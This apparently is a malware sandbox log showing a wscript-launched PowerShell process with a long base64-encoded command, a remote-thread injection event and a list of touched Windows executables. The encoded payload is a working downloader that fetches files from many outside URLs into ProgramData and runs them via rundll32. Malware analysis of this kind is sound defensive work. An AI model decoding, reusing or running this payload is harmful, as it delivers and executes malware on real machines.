parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABNAGUAdABlAHAAaQBtAGUAcgBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBOAEEAQQB1AEEARABFAEEATwBRAEEANQBBAEMANABBAE0AUQBBADQAQQBEAGsAQQBMAGcAQQA0AEEARABNAEEAbgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAFEAQQBhAFEAQgB6AEEASABRAEEAWgBRAEIAdQBBAEgATQBBAGEAUQBCAHYAQQBHADQAQQBjAHcAQQB1AEEASABjAEEAYQBRAEIAcgBBAEcAawBBAG4AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBRAEEAYgB3AEIAMwBBAEcANABBAGEAUQBCAHMAQQBIAGsAQQBTAEEAQgBsAEEARwBNAEEAYQBBAEIAMABBAEcAawBBAFkAUQBBAHUAQQBHAGcAQQBiAHcAQgBzAEEARwBRAEEAYQBRAEIAdQBBAEcAYwBBAGMAdwBBAD0AIgA7ACQATwB2AGUAcgBiAGEAawBlAGQAQQBsAGMAdQBtAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAE0AQQBkAEEAQgB5AEEARwA4AEEAYgBnAEIAMABBAEcAawBBAFkAUQBBAHUAQQBHAEkAQQBaAFEAQgB5AEEARwB3AEEAYQBRAEIAdQBBAEMAOABBAFMAQQBCAHkAQQBDADgAQQBkAGcAQQA1AEEARgBBAEEAYgBRAEEAeABBAEEAPQA9AD0AawB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAVABBAEgAVQBBAFkAZwBCAGsAQQBHAFUAQQBZAFEAQgB1AEEARwBVAEEAYwBnAEIANQBBAEMANABBAGMAdwBCADEAQQBIAEkAQQBaAGcAQQB2AEEARQAwAEEAWQBRAEEAdgBBAEYAWQBBAGQAZwBCAEcAQQBEAE0AQQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAGsAQQBMAGcAQQB5AEEARABRAEEATwBRAEEAdQBBAEQARQBBAE0AUQBBAHoAQQBDADQAQQBNAFEAQQB5AEEARABRAEEATAB3AEIAVwBBAEMAOABBAE4AUQBBADAAQQBBAD0APQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBhAEEAQgB2AEEASABRAEEAYgB3AEIAdwBBAEcAZwBBAGIAdwBCAHUAQQBHAGsAQQBZAHcAQgBCAEEARwB3AEEAWQB3AEIAMQBBAEcAMABBAGUAUQBBAHUAQQBHAEkAQQBkAFEAQgA2AEEASABvAEEATAB3AEIAWQBBAEcAWQBBAE0AUQBCAHQAQQBDADgAQQBNAHcAQgB1AEEARgBnAEEAYwBnAEEAPQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAE0AQQBiAEEAQgAxAEEASABRAEEAZABBAEIAcABBAEcAcwBBAGEAUQBCAHUAQQBFADgAQQBkAGcAQgBsAEEASABJAEEAYQBBAEIAbABBAEcAawBBAFoAdwBCAG8AQQBIAFEAQQBMAGcAQgB0AEEARwA4AEEAWQBnAEIAcABBAEMAOABBAE8AUQBCAHcAQQBEAEkAQQBXAEEAQgBDAEEAQwA4AEEAYgBBAEIAVwBBAEQAVQBBAGIAZwBBAD0APQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB3AEEASABNAEEAZQBRAEIAagBBAEcAZwBBAGIAdwBCAHMAQQBHADgAQQBaAHcAQgBwAEEASABNAEEAYQBRAEIAdQBBAEcAYwBBAEwAZwBCADMAQQBHAGsAQQBhAHcAQgBwAEEAQwA4AEEAWgB3AEEAMQBBAEYATQBBAFkAdwBCAE4AQQBDADgAQQBOAHcAQQAwAEEARQBrAEEAVQB3AEEAPQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAHcAQQB3AEEAQwA4AEEAWQB3AEIARQBBAEYATQBBAGQAUQBCAEgAQQBHAEkAQQBMAHcAQQB6AEEARQBNAEEAUwB3AEIAMgBBAEQATQBBAGEAZwBCAFcAQQBGAFkAQQBZAFEAQgB5AEEASABnAEEAPQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATQBRAEEAMABBAEMAOABBAE8AQQBCAEMAQQBIAG8AQQBMAHcAQgBqAEEARQBnAEEAUQB3AEIATwBBAEUAcwBBAGIAdwBCAHcAQQBHADAAQQBZAHcAQQA1AEEAQQA9AD0APQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATgBnAEEANQBBAEMAOABBAE4AdwBCADQAQQBIAFkAQQBiAGcAQgBvAEEARABFAEEAVwBRAEEAdgBBAEUARQBBAE0AQQBCAFUAQQBHAFEAQQBXAGcAQgB2AEEAQQA9AD0AIgA7ACQAbgBvAG4AdAByAG8AcABpAGMAYQBsAGwAeQBDAG8AbQBtAHUAdABhAHQAaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGcAQQBhAFEAQgB6AEEASABRAEEAYgB3AEIAcwBBAEcAOABBAFoAdwBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARwB3AEEAZQBRAEIAQgBBAEcAdwBBAGQAZwBCAGwAQQBHADgAQQBiAEEAQgBwAEEASABRAEEAWgBRAEEAdQBBAEcARQBBAGIAQQBBAD0AUABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBaAFEAQgBqAEEARwBnAEEAWgBRAEIAawBBAEMANABBAFkAdwBCAHYAQQBHADAAQQAiADsAJABIAGUAeABhAGgAZQBtAGUAcgBvAG4AUAByAG8AcwBjAHkAbgBlAG0AYQB0AGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAEUAQQBaAEEAQgB2AEEASABBAEEAWgBRAEIAeQBBAEcARQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQgBCAEEARwBJAEEAYgB3AEIAagBBAEcAOABBAFkAdwBCAHIAQQBHAFUAQQBkAEEAQQB1AEEARwBjAEEAYwBnAEIAcABBAEgAQQBBAFoAUQBBAD0AaAA9AEUAQQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAE0AQQBiAHcAQgB5AEEARwBVAEEAZABBAEIAdgBBAEcAMABBAGUAUQBBAHUAQQBHADQAQQBaAHcAQgB2AEEAQQA9AD0AIgA7ACQASAB5AHAAZQByAGEAbABnAGUAdABpAGMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAEkAQQBMAGcAQQB4AEEARABJAEEATwBBAEEAdQBBAEQAUQBBAE4AQQBBAHUAQQBEAEkAQQBNAFEAQQA1AEEAQQA9AD0AYgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAEUAQQBIAFUAQQBhAHcAQgBsAEEARwB3AEEAYQBRAEIAdQBBAEcAYwBBAFUAdwBCADEAQQBHAEkAQQBjAHcAQgAwAEEARwA4AEEAYwBnAEIANQBBAEMANABBAGQAdwBCAGwAQQBHAEkAQQBjAHcAQgBwAEEASABRAEEAWgBRAEEAPQBiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAawBBAE0AZwBBAHUAQQBEAFkAQQBNAFEAQQB1AEEARABZAEEATQBnAEEAdQBBAEQARQBBAE0AQQBBADIAQQBBAD0APQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABPAG8AbQBpAGEAYwBrAEMAbwBjAGsAYQB3AGUAZQAgAGkAbgAgACQATwB2AGUAcgBiAGEAawBlAGQAQQBsAGMAdQBtAHkAIAAtAHMAcABsAGkAdAAgACIAPQBrAHgAIgApACAAewB0AHIAeQAgAHsAJABEAGUAbgBvAHQAaQBuAGcASABlAGEAZABzAGgAZQBlAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBNAHcAQQB1AEEARABjAEEATgBRAEEAdQBBAEQAZwBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAxAEEAQQA9AD0AIgA7ACQAUABvAHMAaABsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAFEAQQB3AEEAQwA0AEEATQBnAEEAeQBBAEQAYwBBAEwAZwBBAHkAQQBEAEEAQQBNAGcAQQB1AEEARABVAEEATgBnAEEAPQA9AFoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAwAEEARwBFAEEAWQBnAEIAdgBBAEcAOABBAGEAUQBCAHoAQQBHADAAQQBMAGcAQgBqAEEARwA4AEEAYgBRAEEAPQA9AFoAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBNAEEAWQB3AEIAaABBAEgAQQBBAGEAQQBCAHYAQQBHAGsAQQBaAEEAQQB1AEEASABRAEEAYgB3AEIANQBBAEgATQBBACIAOwAkAE0AaQBsAGwAZQBmAGwAZQB1AHIAcwBEAHIAYQBpAG4AYQBnAGUAdwBhAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATwBvAG0AaQBhAGMAawBDAG8AYwBrAGEAdwBlAGUAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABNAGkAbABsAGUAZgBsAGUAdQByAHMARAByAGEAaQBuAGEAZwBlAHcAYQB5ACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcAGEAbgB0AGkAZQBuAHYAaQByAG8AbgBtAGUAbgB0AGEAbABpAHMAbQAuAGQAaQBzAGwAbwBkAGcAaQBuAGcARABlAHAAbwBzAGkAdABpAG8AbgBhAGwAOwAkAE8AcgBkAHUAcgBvAHUAcwBuAGUAcwBzAEYAcgBpAHYAbwBsAGwAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABnAEEATgBRAEEAdQBBAEQAZwBBAE0AUQBBAHUAQQBEAEUAQQBNAGcAQQAzAEEAQQA9AD0AWQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGMAQQBOAGcAQQB1AEEARABFAEEATwBRAEEAeABBAEMANABBAE0AZwBBAHcAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATgBBAEEAPQBZAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE4AdwBBAHUAQQBEAEkAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEAeQBBAEQATQBBAEwAZwBBAHgAQQBEAGcAQQBNAHcAQQA9ACIAOwAkAEgAaQBzAHQAbwByAGkAYwBhAGwAbAB5AE8AdQB0AGIAdQBpAGwAZABpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEgAVQBBAFkAZwBCAGoAQQBHAHcAQQBZAFEAQgAxAEEASABNAEEAWgBRAEEAdQBBAEcANABBAFoAUQBCADMAQQBIAE0AQQBhAFoAagBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAEkAQQBZAFEAQgAwAEEARwBnAEEAZQBRAEIAegBBAEcAMABBAFkAUQBCAHMAQQBGAFUAQQBiAGcAQgBqAEEARwA4AEEAYgBnAEIAMABBAEgASQBBAGIAdwBCADIAQQBHAFUAQQBjAGcAQgAwAEEARwBFAEEAWQBnAEIAcwBBAEcAVQBBAEwAZwBCAHYAQQBHADQAQQBaAFEAQQA9ACIAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcAGEAbgB0AGkAZQBuAHYAaQByAG8AbgBtAGUAbgB0AGEAbABpAHMAbQAuAGQAaQBzAGwAbwBkAGcAaQBuAGcARABlAHAAbwBzAGkAdABpAG8AbgBhAGwAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADkAOQAxADQAOQApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAWQBRAEIAdQBBAEgAUQBBAGEAUQBCAGwAQQBHADQAQQBkAGcAQgBwAEEASABJAEEAYgB3AEIAdQBBAEcAMABBAFoAUQBCAHUAQQBIAFEAQQBZAFEAQgBzAEEARwBrAEEAYwB3AEIAdABBAEMANABBAFoAQQBCAHAAQQBIAE0AQQBiAEEAQgB2AEEARwBRAEEAWgB3AEIAcABBAEcANABBAFoAdwBCAEUAQQBHAFUAQQBjAEEAQgB2AEEASABNAEEAYQBRAEIAMABBAEcAawBBAGIAdwBCAHUAQQBHAEUAQQBiAEEAQQBzAEEARwAwAEEAZABRAEIAegBBAEgAUQBBAE8AdwBBAD0AIgA7ACQAdQBuAGEAdQB0AGgAZQBuAHQAaQBjAGkAdAB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAwAEEARwBnAEEAWgBRAEIAeQBBAEcAVQBBAGIAdwBCAG0AQQBFADAAQQBaAFEAQgB6AEEARwBnAEEAYQBRAEIAbABBAEgASQBBAEwAZwBCAHoAQQBHADgAQQBiAEEAQgBoAEEASABJAEEASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAEEAQQBkAFEAQgB5AEEASABBAEEAYgB3AEIAeQBBAEgAUQBBAFoAUQBCAGsAQQBGAGMAQQBiAHcAQgB1AEEARwBRAEEAWgBRAEIAeQBBAEcAVQBBAGMAZwBCAHoAQQBDADQAQQBZAHcAQgBoAEEASABJAEEAWgBRAEIAbABBAEgASQBBAGMAdwBBAD0ASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAFUAQQBNAFEAQQB1AEEARABFAEEATQBBAEEANABBAEMANABBAE4AdwBBADEAQQBDADQAQQBPAEEAQQA1AEEAQQA9AD0ASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABFAEEATQBBAEEANQBBAEMANABBAE0AUQBBADAAQQBEAGMAQQBMAGcAQQB4AEEARABFAEEATgB3AEEAPQAiADsAJABOAGUAcABoAHIAbwBsAHkAdABpAGMAUgBvAGcAdQBlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAFEAQQAzAEEAQwA0AEEATQBnAEEAeQBBAEQAUQBBAEwAZwBBAHgAQQBEAGsAQQBNAFEAQQB1AEEARABFAEEATQB3AEEAegBBAEEAPQA9AHgAegBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGcAQQBhAFEAQgB3AEEASABBAEEAYQBRAEIAaABBAEgAUQBBAGMAZwBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARgBNAEEAWQBRAEIAdQBBAEcAYwBBAGQAUQBCAHAAQQBHADQAQQBaAFEAQgB2AEEARwBJAEEAYQBRAEIAcwBBAEcAawBBAGIAdwBCADEAQQBIAE0AQQBMAGcAQgB6AEEARwBVAEEAeAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgATQBBAFkAdwBCAGgAQQBIAEkAQQBZAFEAQgBpAEEARwBFAEEAWgBRAEIAcABBAEcAUQBBAFkAUQBCAGwAQQBFAFEAQQBhAFEAQgBsAEEASABNAEEAZABBAEIAdgBBAEcATQBBAGEAdwBCAHoAQQBDADQAQQBjAHcAQgBqAEEARwA4AEEAZABBAEEAPQB4AHoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB6AEEARwBVAEEAYwBBAEIAcABBAEcARQBBAGIAQQBCAHAAQQBHAHMAQQBaAFEAQgBVAEEARwBrAEEAZABnAEIAdgBBAEcAdwBBAGEAUQBBAHUAQQBHAGMAQQBhAFEAQgBtAEEASABRAEEAIgA7ACQAYwBhAG0AcAB1AHMAZQBzAEMAYQB0AGUAYwBoAGkAegBhAHQAaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAMwBBAEMANABBAE0AZwBBADAAQQBEAEkAQQBMAGcAQQB5AEEARABRAEEATgBnAEEAPQAiADsAYgByAGUAYQBrADsAfQB9ACAAYwBhAHQAYwBoACAAewB9AH0A"
Process injection Process 3040 resumed a thread in remote process 2184
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x0000033c
suspend_count: 1
process_identifier: 2184
1 0 0
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe